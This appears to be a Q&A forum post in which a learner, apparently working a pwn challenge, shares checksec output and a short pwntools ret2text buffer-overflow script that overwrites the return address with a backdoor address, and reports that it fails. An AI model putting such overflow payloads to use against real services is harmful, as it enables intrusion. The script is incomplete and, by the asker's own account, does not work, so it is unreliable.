Here is the elf summary of the program:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This is the main function of the disassembly of the program: enter image description here

This is the address of the back door: enter image description here

This is my exp:

from pwn import *

p = remote('', 1144, level='debug')

sh = 0x00000000004011dd

payload = b'a' * 0x40 + p64(0) + p64(sh)


But I found that ret2text cannot be implemented

  • Please clarify your specific problem or provide additional details to highlight exactly what you need. As it's currently written, it's hard to tell exactly what you're asking.
    – Community Bot
    Commented Aug 11, 2023 at 17:37


You must log in to answer this question.

Browse other questions tagged .